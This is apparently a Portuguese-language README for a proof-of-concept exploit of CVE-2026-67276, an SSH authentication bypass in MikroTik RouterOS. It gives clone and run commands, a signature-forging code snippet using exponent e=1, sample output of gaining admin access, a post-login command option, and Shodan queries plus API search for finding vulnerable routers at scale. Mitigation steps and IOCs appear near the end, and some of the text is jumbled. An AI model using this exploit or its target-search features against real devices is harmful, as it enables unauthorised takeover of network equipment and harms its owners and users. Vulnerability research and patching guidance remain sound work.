
CVE-2026-67276 Exploit de bypass de autenticação SSH do MikroTik RouterOS
Bypass de Autenticação por Chave Pública SSH no MikroTik RouterOS - Nenhuma Chave Privada Necessária
Uma prova de conceito de exploit para CVE-2026-67276 (MikroTrick), uma vulnerabilidade crítica de bypass de autenticação na implementação SSH do MikroTik RouterOS que permite que atacantes se autentiquem como qualquer usuário sem possuir sua chave privada.
A CVE-2026-67276 faz parte de uma cadeia de ataque maior denominada "MikroTrick" pelo CERT PL, que foi observada sendo ativamente explorada no mundo real:
A autenticação SSH do RouterOS possui uma falha crítica na forma como valida chaves públicas:
{ssh-rsa, e=1, n=módulo_da_vítima} torna a verificação trivialVerificação RSA Padrão: sig^65537 mod n == esperado (requer chave privada)
Verificação Explorada: sig^1 mod n == sig (NENHUMA chave privada necessária!)
Com expoente e=1, a verificação de assinatura se torna:
sig^1 mod n == sig
Isso significa que a "assinatura" é simplesmente a própria mensagem codificada EMSA-PKCS1-v1_5 - construtível por qualquer pessoa que conheça o módulo público da vítima.
n dessa chave autorizada (do arquivo .pub, conexões anteriores, etc.)| Ramo | Faixa Vulnerável | Versão Corrigida |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Clonar o repositório
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Instalar dependências
pip install paramiko cryptography
# Exploit básico - gera chave automaticamente, detecta versão
python3 full_exploit.py --host 192.168.88.1 --username admin
# Executar comando após autenticação
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Porta personalizada
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Se você tiver o arquivo de chave pública da vítima
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Ou fornecer o módulo diretamente
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
O exploit detecta automaticamente a versão do RouterOS e verifica o status da vulnerabilidade:
# Forçar exploit mesmo em versão não-MikroTik ou desconhecida
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host IP/hostname do RouterOS alvo (obrigatório)
--port Porta SSH (padrão: 22)
--username Nome de usuário do RouterOS alvo (obrigatório)
--pubkey Arquivo de chave pública RSA (gera automaticamente se não fornecido)
--modulus-hex Módulo RSA em hex (alternativa ao --pubkey)
--algos Algoritmos de assinatura (padrão: ssh-rsa,rsa-sha2-256)
--exec Comando a executar pós-autenticação
--exp-enc Codificação do expoente: canônica (1 byte) ou alinhada (3 bytes)
--timeout Timeout de conexão (padrão: 15.0 segundos)
--skip-version-check Ignorar verificação de versão do RouterOS
--shodan-dorks Imprimir consultas de busca Shodan
--shodan-search Buscar alvos na API do Shodan
--shodan-key Chave da API do Shodan
--shodan-query Consulta Shodan personalizada
--shodan-limit Limite de resultados Shodan (padrão: 100)
python3 full_exploit.py --shodan-dorks
# Busca básica
python3 full_exploit.py --shodan-search --shodan-key SUA_CHAVE_DA_API
# Consulta personalizada
python3 full_exploit.py --shodan-search --shodan-key SUA_CHAVE --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (expoente público) <- Atacante fornece e=1
mpint n (módulo) <- Módulo real da vítima
# A "assinatura" é simplesmente os dados de autenticação codificados em EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Esta É a assinatura válida quando e=1
ssh-rsa mesmo para algoritmos rsa-sha2-256/512[*] Exploit CVE-2026-67276 MikroTrick
[*] Alvo: 192.168.88.1:22
[*] Detectando versão do RouterOS...
[*] Banner SSH: SSH-2.0-ROSSSH-7.23.3
[*] Versão do RouterOS: 7.23.3
[+] VERSÃO VULNERÁVEL - CVE-2026-67276 se aplica
[*] Gerando par de chaves RSA de 2048 bits...
[+] Chave privada salva: /path/to/exploit_key
[+] Chave pública salva: /path/to/exploit_key.pub
[*] Módulo: 2048 bits | e=1 forjado
[*] Codificação do expoente: canônica (01)
[*] Tentando rsa-sha2-256 ...
[+] AUTENTICADO como 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMADA - alvo está vulnerável
--- saída do comando ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Verificar versão atual
/system resource print
# Atualizar para versão corrigida
/system package update download
/system reboot
Versões Mínimas Seguras:
/ip service disable ssh
# Por endereço IP
/ip service set ssh address=192.168.88.0/24
# Regra de firewall
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Verificar usuários suspeitos
/user print
# Verificar usuário "ops" (indicador conhecido de atacante)
/user print where name=ops
# Verificar status de sinalização do dispositivo
/system/device-mode/print
# Verificar logs
/log print where topics~"ssh"
IOCs Conhecidos:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
Licença MIT - Consulte LICENSE para detalhes.
PoC de Pesquisa em Segurança - Implementação de Laboratório CVE-2026-67276
Dê uma estrela neste repositório se você o achar útil!
| Detalhe | Informação |
|---|
| ID CVE | CVE-2026-67276 |
| Severidade | Crítica (CVSS 9.8) |
| CWE | CWE-347 (Verificação Incorreta de Assinatura Criptográfica) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma |
| Complexidade | Baixa |
| Impacto | Comprometimento total do dispositivo |
| CVE | Tipo | Descrição |
|---|
| CVE-2026-67276 | Bypass de Autenticação | Bypass de autenticação por chave pública SSH via falsificação de expoente |
| CVE-2026-86060 | Escalação de Privilégio | Injeção de argumento via nome de usuário |
| CVE-2026-67279 | Bypass de Autenticação | Conexão SSH sem userauth concluído |
| CVE-2026-67277 | Divulgação de Informação | Vazamento de memória do kernel via bandwidth-test |
| CVE-2026-67278 | Bypass de Assinatura | Aceitação de assinatura X.509 malformada |
| CVE-2026-67281 | Leitura de Arquivo | Leitura de arquivo raiz no WebFig via jsproxy |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x teste | 7.24.0 - 7.24.1 | 7.24.2+ |
| Alvo | Consulta |
|---|
| Todos os MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox Exposto | port:8291 |
| Painel WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| Por País | MikroTik country:US |
| Indício de Vulnerabilidade | MikroTik ("6.49" OR "7.23" OR "7.24.0") |